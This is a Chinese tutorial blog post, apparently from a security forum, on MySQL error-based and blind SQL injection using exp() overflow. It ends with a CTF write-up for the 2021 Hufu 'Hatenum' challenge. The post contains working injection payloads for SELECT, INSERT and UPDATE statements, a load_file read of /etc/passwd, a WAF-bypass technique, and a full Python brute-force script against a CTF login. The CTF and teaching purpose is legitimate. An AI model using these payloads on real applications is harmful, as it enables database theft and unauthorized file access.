前言
前段时间做 2021 虎符杯 CTF Finalweb Hatenum 这道题时学到了使用 MySQL exp() 函数进行注入的新姿势,这里系统的总结一下。话不多少,开搞!
MySQL exp() 函数
MySQL中的EXP()函数用于将E提升为指定数字X的幂,这里E(2.718281 ...)是自然对数的底数。
EXP(X)
该函数返回E的X次方后的值,如下所示:
mysql> select exp(3);
+--------------------+
| exp(3) |
+--------------------+
| 20.085536923187668 |
+--------------------+
1 row in set (0.00 sec)
mysql>
该函数可以用来进行 MySQL 报错注入。但是为什么会报错呢?我们知道,次方到后边每增加 1,其结果都将跨度极大,而 MySQL 能记录的 Double 数值范围有限,一旦结果超过范围,则该函数报错。这个范围的极限是 709,当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误:
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
mysql>
除了 exp() 之外,还有类似 pow() 之类的相似函数同样是可利用的,他们的原理相同。
使用 exp() 函数进行报错注入
- 使用版本:MySQL5.5.5 及以上版本
现在我们已经知道当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误。那么我们在实际利用中如何让 exp() 报错的同时返回我们想要得到的数据呢?
我们可以用 ~
运算符按位取反的方式得到一个最大值,该运算符也可以处理一个字符串,经过其处理的字符串会变成大一个很大整数足以超过 MySQL 的 Double 数组范围,从而报错输出:
mysql> select ~(select version());
+----------------------+
| ~(select version()) |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)
mysql> select exp(~(select * from(select version())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.29' from dual)))'
mysql> select exp(~(select * from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
mysql> select exp(~(select * from(select database())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'ctf' from dual)))'
mysql>
如上图所示,成功报错并输出了数据。但是事实证明,在 MySQL>5.5.53 之后,exp() 报错不能返回我们的查询结果,而只会得到一个报错:
而在脚本语言中,就会将这些错误中的一些表达式转化成相应的值,从而爆出数据。
注出数据
- 得到表名:
mysql> select exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'flag,users' from dual)))'
mysql>
- 得到列名:
mysql> select exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_name='users')x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'id,username,password' from dual)))'
mysql>
- 检索数据:
mysql> select exp(~ (select*from(select group_concat(id, 0x7c, username, 0x7c, password) from users)x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '1|admin|123456,2|whoami|657260,3|bunny|864379' from dual)))'
mysql>
- 读取文件(有13行的限制):
mysql> select exp(~(select * from(select load_file('/etc/passwd'))x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin' from dual)))'
一蹴而就
这个查询可以从当前的上下文中 dump 出所有的 tables 与 columns,我们也可以 dump 出所有的数据库,但由于我们是通过一个错误进行提取,它会返回很少的结果:
mysql> select exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000
ctf::flag::id
ctf::flag::flag
ctf::users::id
ctf::users::username
ctf::users::password' from dual)))'
mysql>
Injection in Insert
根据 Insert 位置的注入方式按部就班就好了。假设原来的插入语句如下:
insert into users(id,username,password) values(4,'john','679237');
我们可以在 username 或 password 位置插入恶意的 exp() 语句进行报错注入,如下所示:
# 在username处插入: john' or exp(~(select * from(select user())x)),1)#, 则sql语句为: insert into users(id,username,password) values(4,'john' or exp(~(select * from(select user())x)),1)#','679237');
mysql> insert into users(id,username,password) values(4,'john' or exp(~(select * from(select user())x)),1);#','679237');;
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '[email protected]' from dual)))'
mysql>
爆出所有数据:
# 在username处插入: john' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()[email protected]:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)),1)#
mysql> insert into users(id,username,password) values(4,'john' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()[email protected]:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)),1);#','679237');
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000
ctf::flag::id
ctf::flag::flag
ctf::users::id
ctf::users::username
ctf::users::password' from dual)))'
mysql>
Injection in Update
根据 Update 位置的注入方式按部就班就好了。假设原来的插入语句如下:
update users set password='new_value' WHERE username = 'admin';
我们可以在 new_value 或后面的 where 子句处插入恶意的 exp() 语句进行报错注入,如下所示:
# 在new_value处插入: abc' or exp(~(select * from(select user())x))#, 则sql语句为: update users set password='abc' or exp(~(select * from(select user())x))# WHERE username = 'admin';
mysql> update users set password='abc' or exp(~(select * from(select user())x));# WHERE username = 'admin';
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '[email protected]' from dual)))'
mysql>
使用 exp() 函数进行盲注
有的登录逻辑会根据 sql 语句的报错与否返回不同的结果,如果我们可以控制这里得报错的话便可以进行盲注。下面我们通过一个 CTF 例题来进行详细探究。
2021 虎符杯 CTF Finalweb Hatenum
进入题目是一个登录页面:
题目给出了源码:
- home.php
<?php
require_once('config.php');
if(!$_SESSION['username']){
header('location:index.php');
}
if($_SESSION['username']=='admin'){
echo file_get_contents('/flag');
}
else{
echo 'hello '.$_SESSION['username'];
}
?>
登录进去便能得到flag。
- login.php
<?php
require_once('config.php');
array_waf($_POST);
if(isset($_POST['username'])&&isset($_POST['password'])&&isset($_POST['code'])){
$User = new User();
switch ($User->login($_POST['username'],$_POST['password'],$_POST['code'])) {
case 'success':
echo 'login success';
header('location:home.php');
break;
case 'fail':
echo 'login fail';
header('location:index.php');
break;
case 'error':
echo 'error';
header('location:index.php');
break;
}
}
else{
die('no use');
}
?>
- config.php
<?php
error_reporting(0);
session_start();
class User{
public $host = "localhost";
public $user = "root";
public $pass = "123456";
public $database = "ctf";
public $conn;
function __construct(){
$this->conn = new mysqli($this->host,$this->user,$this->pass,$this->database);
if(mysqli_connect_errno()){
die('connect error');
}
}
function find($username){
$res = $this->conn->query("select * from users where username='$username'");
if($res->num_rows>0){
return True;
}
else{
return False;
}
}
function register($username,$password,$code){
if($this->conn->query("insert into users (username,password,code) values ('$username','$password','$code')")){
return True;
}
else{
return False;
}
}
function login($username,$password,$code){
$res = $this->conn->query("select * from users where username='$username' and password='$password'");
if($this->conn->error){ // 如果sql语句报错就返回error
return 'error';
}
else{
$content = $res->fetch_array();
if($content['code']===$_POST['code']){
$_SESSION['username'] = $content['username'];
return 'success';
}
else{
return 'fail';
}
}
}
}
function sql_waf($str){
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}
}
function num_waf($str){
if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
die('Huge num detected');
}
}
function array_waf($arr){
foreach ($arr as $key => $value) {
if(is_array($value)){
array_waf($value);
}
else{
sql_waf($value);
num_waf($value);
}
}
}
过滤的死死地,把我会的都过滤了,甚至过滤了一些我压根不会的。但还是遗漏了一些字符,比如反斜杠 \
、括号 ()
等。
有了反斜杠 \
之后,我们可以在 username 中输入转义符将前面的引号转义,造成引号错误闭合,实现万能密码:
"username": "admin\\",
"password": "||1#",
"code": "xxx"
但是还需要 code 才行,所以我们的思路是使用 rlike(即regexp)按照之前regexp匹配注入的方法,将 code 匹配出来。
我们又在 login 函数中注意到:
if($this->conn->error){ // 如果sql语句报错就返回error
return 'error';
}
如果 sql 语句出现错误便返回字符串 "error",然后进入到 login.php 中就会返回 error。根据这里的特性,如果我们可以控制这里的报错的话,便可以进行盲注。
但是怎么构造呢?
在网上的看到了大佬的思路是真的巧妙:
||exp(710-(... rlike ...))
即如果 (... rlike ...)
中的语句执行匹配后的结果为True,经过减号转换后为 exp(710-1)
后不会溢出;若为false,转换为 exp(710-0)
后则会溢出并报错。
大致的 payload 如下:
'username': 'admin\\',
'password': '||exp(710-(code rlike binary {0}))#',
'code': '1'
但是由于过滤了引号,所以 rlike 无法直接引入 %
和 ^
,按照之前regexp注入的操作我们可以将 ^
联通后面猜测的字符一块做 Hex 编码,即:
def str2hex(string): # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
result = ''
for i in string:
result += hex(ord(i))
result = result.replace('0x', '')
return '0x' + result
......
passwd = str2hex('^' + name + j)
payloads = payload.format(passwd).replace(' ',chr(0x0c))
postdata = {
'username': 'admin\\',
'password': payloads,
'code': '1'
}
但是令我没有想到的是,题目还限制了 password 位置匹配的字符串长度,最长只能匹配 4 个字符,如果超过了 4 个则会返回 Huge num detected 错误。那这样的话我们便不能在 payload 里面使用 ^
了,也就没有办法在正则表达式中确定首位的位置,我们只能知道有这么几个连续的字符,就像下面这样:
然后首先爆破出前三位来,然后再通过前 3 位爆第4位,再通过第2、3、4位爆第5位......
编写如下脚本进行爆破:
import requests
import string
def str2hex(string): # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
result = ''
for i in string:
result += hex(ord(i))
result = result.replace('0x', '')
return '0x' + result
strs = string.ascii_letters + string.digits + '_'
url = "http://be2ae7e7-9c0e-4f21-8b3a-97e28c20d79c.node3.buuoj.cn/login.php"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
payload = '||exp(710-(code rlike binary {0}))#'
if __name__ == "__main__":
name = ''
z = 3
for i in range(1, 40):
for j in strs:
passwd = str2hex(name + j)
payloads = payload.format(passwd).replace(' ',chr(0x0c))
postdata = {
'username': 'admin\\',
'password': payloads,
'code': '1'
}
r = requests.post(url, data=postdata, headers=headers, allow_redirects=False)
#print(r.text)
if "fail" in r.text:
name += j
print(j, end='')
break
if len(name) >= 3:
for i in range(1, 40):
for j in strs:
passwd = str2hex(name[z - 3:z] + j) # ergh
payloads = payload.format(passwd).replace(' ', chr(0x0c))
postdata = {
'username': 'admin\\',
'password': payloads,
'code': '1'
}
r = requests.post(url, data=postdata, headers=headers, allow_redirects=False)
# print(r.text)
if "fail" in r.text:
name += j
print(j, end='')
z += 1
break
出结果了,别高兴的太早,因为这里陷入了一个死循环当中:
erghruigh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh......
可以看到爆出 erghruigh2
之后不停地循环出现 uygh2
,所以我们可以推测出真正的 code 里面有两个 gh2
,其中位于前面的那个 gh2
后面紧跟着一个 u
,即 gh2u
。后面那个 gh2
后面跟的是那个字符我们还不能确定,那我们便可以测试一下除了 u
以外的其他字符,经测试第二个 gh2
后面跟的字符是 3
,即 gh23
,然后继续根据 h23
爆破接下来的字符就行了,最后得到的 code 如下:
erghruigh2uygh23uiu32ig
然后直接登陆即可得到 flag:
Ending......
BY:先知论坛
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论